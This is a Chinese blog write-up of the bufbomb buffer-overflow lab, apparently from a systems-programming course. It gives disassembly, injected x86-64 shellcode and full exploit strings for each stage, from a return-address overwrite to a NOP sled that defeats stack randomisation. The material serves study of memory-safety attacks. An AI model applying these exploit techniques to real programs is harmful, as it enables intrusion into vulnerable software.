bufbomb关于缓冲区溢出攻击

来源:互联网 发布:最强大脑人工智能小度 编辑:程序博客网 时间:2024/06/05 02:29

smoke
要求:构造攻击字符串作为目标程序输入,造成缓冲区溢出,使getbuf()返回时不返回到test函数,而是转向执行smoke
思路:
理解了getbuf栈的构成:开辟的空间[1][2][3]…[32]+rbp+返回地址
只需要把getbuf返回的地址设置为smoke地址即可(开始的时候因为不理解栈的结构,发懵了很久)
第一步:确定开辟空间大小

00000000004018b9 <getbuf>:  4018b9:   55                      push   %rbp  4018ba:   48 89 e5                mov    %rsp,%rbp  //开辟空间大小  4018bd:   48 83 ec 20             sub    $0x20,%rsp  4018c1:   48 8d 45 e0             lea    -0x20(%rbp),%rax

第二步:确定smoke的地址

00000000004010b6 <smoke>:  4010b6:   55                      push   %rbp

答案:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00b6 10 40 00

运行结果:
这里写图片描述

fizz**
要求:这次返回的是fizz函数,但是fizz函数需要传入一个参数,使得val==cookie才能成功

void fizz(int val){   if (val == cookie) {      printf("Fizz!: You called fizz(0x%x)\n", val);      validate(1);   } else     printf("Misfire: You called fizz(0x%x)\n", val);   exit(0);} 

思路:
使用Gets来读取自己修改的cookie的值(跟bang一个套路),自己在这里卡了特别久
修改信息:注意,cookie参数要穿进%edi

 4004e6:    bf 39 ec 4d 37          mov    $0x374dec39,%edi 4004eb:    c3                      retq    4004ec:    5d                      pop    %rbp

答案:

bf 39 ec 4d 37 c3 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0080 36 68 55 00 00 00 00d8 10 40

运行结果:
这里写图片描述

bang
要求:构造攻击字串,使目标程序调用bang函数,要将函数中全局变量global_value篡改为cookie值
思路:让getbuf正常的跑,但是返回地址调到Gets,在Gets里边写入我们的攻击代码
第一步:修改全局变量+正确返回bang
需要找到global_value位置,可以打印出一张字符表,使用命令

 bufbomb > buf_table  //输出bufbomb的符号表到文本文件buf_table

可见,global_value地址是0x6061f0

00000000006061f0 g     O .bss   0000000000000004              global_value0000000000000000       F *UND*  0000000000000000              random@@GLIBC_2.2.50000000000402ab0 g     F .text  0000000000000065              __libc_csu_init

用cookie的值替换全局变量的值,先分别mov到两个寄存器,再用cookie覆盖
global_value,创建一个.c的文件,再生成.s文件,再.s文件中添加:

4004e6: 48 c7 c0 39 ec 4d 37    mov    $0x374dec39,%rax4004ed: 48 c7 c1 f0 61 60 00    mov    $0x6061f0,%rcx4004f4: 48 89 01                mov    %rax,(%rcx)4004f7: c3                      retq  

再生成.out文件,再用objdump反汇编,产生机器级代码:

//返回值是cookie4004e6: 48 c7 c0 39 ec 4d 37    mov    $0x374dec39,%rax4004ed: 48 c7 c1 f0 61 60 00    mov    $0x6061f0,%rcx4004f4: 48 89 01                mov    %rax,(%rcx)4004f7: c3                      retq  

第二步:找到Gets的输入位置
就是怎样引导getbuf去执行我们的恶意代码 。通过return到Gets,读进我们写的恶意代码

答案:篡改的机器指令+剩余填充+Gets首地址+传入参数
答案:

48 c7 c0 39 ec 4d 37 48 c7 c1 f0 61 60 00 48 89 01 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 0080 36 68 55 00 00 00 002e 11 40

运行结果:
这里写图片描述

boom

000000000040118f <test>:  40118f:   55                      push   %rbp  401190:   48 89 e5                mov    %rsp,%rbp  401193:   48 83 ec 10             sub    $0x10,%rsp  401197:   b8 00 00 00 00          mov    $0x0,%eax  40119c:   e8 b3 04 00 00          callq  401654 <uniqueval>  4011a1:   89 45 f8                mov    %eax,-0x8(%rbp)  4011a4:   b8 00 00 00 00          mov    $0x0,%eax  4011a9:   e8 0b 07 00 00          callq  4018b9 <getbuf>  //调用getbuf  //  4011ae:   89 45 fc                mov    %eax,-0x4(%rbp)  4011b1:   b8 00 00 00 00          mov    $0x0,%eax  4011b6:   e8 99 04 00 00          callq  401654 <uniqueval>  4011bb:   89 c2                   mov    %eax,%edx  4011bd:   8b 45 f8                mov    -0x8(%rbp),%eax  4011c0:   39 c2                   cmp    %eax,%edx  4011c2:   74 0c                   je     4011d0 <test+0x41>  4011c4:   bf e0 2b 40 00          mov    $0x402be0,%edi  4011c9:   e8 c2 fb ff ff          callq  400d90 <puts@plt>  4011ce:   eb 41                   jmp    401211 <test+0x82>  4011d0:   8b 55 fc                mov    -0x4(%rbp),%edx  4011d3:   8b 05 0f 50 20 00       mov    0x20500f(%rip),%eax        # 6061e8 <cookie>  4011d9:   39 c2                   cmp    %eax,%edx  4011db:   75 20                   jne    4011fd <test+0x6e>  4011dd:   8b 45 fc                mov    -0x4(%rbp),%eax  4011e0:   89 c6                   mov    %eax,%esi  4011e2:   bf 09 2c 40 00          mov    $0x402c09,%edi  4011e7:   b8 00 00 00 00          mov    $0x0,%eax  4011ec:   e8 0f fc ff ff          callq  400e00 <printf@plt>  4011f1:   bf 03 00 00 00          mov    $0x3,%edi  4011f6:   e8 13 08 00 00          callq  401a0e <validate>  4011fb:   eb 14                   jmp    401211 <test+0x82>  4011fd:   8b 45 fc                mov    -0x4(%rbp),%eax  401200:   89 c6                   mov    %eax,%esi  401202:   bf 26 2c 40 00          mov    $0x402c26,%edi  401207:   b8 00 00 00 00          mov    $0x0,%eax  40120c:   e8 ef fb ff ff          callq  400e00 <printf@plt>  401211:   90                      nop  401212:   c9                      leaveq   401213:   c3                      retq

要求:在test中调用getbuf()函数,再返回一个值,这个返回值需要修改成cookie,并且能够正确的返回test函数。用缺省的代码描述,像下边这样:要完成这段代码里边的内容

test(){getbuf();//调用函数}getbuf(){Gets();//调用Gets读进字符串内容return ;//有返回值,题目要求这个返回值是cookie}

思路:gebuf的这一个栈帧里边到底有什么:数据域+ebp(存储调用getbuf前的栈帧信息)+返回的text的地址
我们想这么设计,我们利用gebuf函数里边开辟的存放数据的空间,用来写一个修改返回信息的过程(修改cookie+顺利返回test)。或者这么想,我们要做两件事情,修改cookie+顺利返回test,getbuf的堆栈里边哪里能允许我们这么做,空间[1][2][3]……[32]里边可以;第二个问题,我们写在[1][2][3]……里边的内容,怎么样才能访问,当然是调用Gets(),怎么样调用Gets():地址返回要写Gets()的输入字符的首地址。
第一步:编写自己要修改的两个信息
创建一个.c的文件,再生成.s文件,再.s文件中添加:

//%rax里边存储的是getbuf返回值,所以要把cookie放在里边mov $0x374dec39,%raxpush $0x4011aeret

再生成.out文件,再用objdump反汇编,产生机器级代码:

 4004e6:    48 c7 c0 39 ec 4d 37    mov    $0x374dec39,%rax 4004ed:    68 ae 11 40 00          pushq  $0x4011ae 4004f2:    c3                      retq   

这里就是Gets()访问的内容
第二步:getbuf的%rbp写什么
理解getbuf的%rbp里边到底是什么,它保存的是test的%rbp,做这个操作是为了,出于保护的目的,调用了getbuf以后依旧能够返回test函数。为了不使getbuf里边的内容被破坏,他的%rbp,必须要跟原来没有调用getbuf函数前的是一致的。我们查看test的%rbp
这里写图片描述
第三步:返回地址,Gets()读取的首个地址
开始开辟了0x20个空间,所以只要用%rbp-0x20就是第一个输入字符的位置(靠近栈顶的位置)
这里写图片描述
所以答案就是:
需要修改的两个内容的编码+其余不变+修改%rbp+返回地址
答案:

48 c7 c0 39 ec 4d 37 68 ae 11 40 00 c3 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00c0 36 68 55 00 00 00 0080 36 68 55 

运行结果:
这里写图片描述

nitro

0000000000401214 <testn>:  401214:   55                      push   %rbp  401215:   48 89 e5                mov    %rsp,%rbp  401218:   48 83 ec 10             sub    $0x10,%rsp  40121c:   b8 00 00 00 00          mov    $0x0,%eax  401221:   e8 2e 04 00 00          callq  401654 <uniqueval>  401226:   89 45 f8                mov    %eax,-0x8(%rbp)  401229:   b8 00 00 00 00          mov    $0x0,%eax  40122e:   e8 a1 06 00 00          callq  4018d4 <getbufn>//调用  401233:   89 45 fc                mov    %eax,-0x4(%rbp)  401236:   b8 00 00 00 00          mov    $0x0,%eax  40123b:   e8 14 04 00 00          callq  401654 <uniqueval>

要求:在上一题基础上,现在的Gets地址是随机变化的,并且要求五次攻击均要成功
思路:
先让getbufn跑一遍自己原来该有的程序,但是再return的位置改成Gets,变成了再输入一次字符串
在开辟的0x200空间里,使用nop一直滑啊滑,滑到Gets的输入首地址
这里我们占用一部分的%rbp的位置来存放攻击的代码,所以我们要恢复%rbp本来应该有的位置
第一步:修改cookie为返回值+返回testn
这里的%rbp修复,需要知道%rbp原来到底是多少,即去查询test里边的%rbp 和%rsp关系。
明确:%rbp=%rsp+需要修改的值
这里写图片描述

//修改cookie4004e6: 48 c7 c0 39 ec 4d 37    mov    $0x374dec39,%rax//%rbp修复4004ed: 48 8d 6c 24 10          lea    0x10(%rsp),%rbp//返回test调用后yin该返回的地址4004f2: 68 33 12 40 00          pushq  $0x4012334004f7: c3                      retq  

第二步:确定getbufn的首个输入字符的地址
确定getbufn开辟空间大小

00000000004018d4 <getbufn>:  4018d4:   55                      push   %rbp  4018d5:   48 89 e5                mov    %rsp,%rbp  4018d8:   48 81 ec 00 02 00 00    sub    $0x200,%rsp  4018df:   48 8d 85 00 fe ff ff    lea    -0x200(%rbp),%rax  4018e6:   48 89 c7                mov    %rax,%rdi  4018e9:   e8 5b fa ff ff          callq  401349 <Gets>  4018ee:   b8 01 00 00 00          mov    $0x1,%eax  4018f3:   c9                      leaveq   4018f4:   c3                      retq   

开辟0x200大小
查询Gets函数的首地址
这里写图片描述
这里采取了一个防止缓冲器恶意攻击的办法–栈随机化,但是我们只要知道一个地址,就可以用nop一直滑到Gets的首个输入地址,同时为了保证五次都成功,Gets地址要选取最大的,保证所有地址都能滑到,开始的时候没有注意,一直不通过。
所以答案:502个nop+(10+8)个篡改的机器编码+Gets地址
答案:

90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 9048 c7 c0 39 ec 4d 37 48 8d 6c 24 10 68 33 12 40 00 c3 00 35 68 55 0a

调试过程:
这里写图片描述
只有一次攻击成功,那么答案应该写五次
同时,开始的时候只把代码复制五遍,但是,发现这样子一次都不能通过了,后来想了一下,这是五次输入,中间应该会有间隔的符号,后来加上了0a(\n),完成任务
这里写图片描述

原创粉丝点击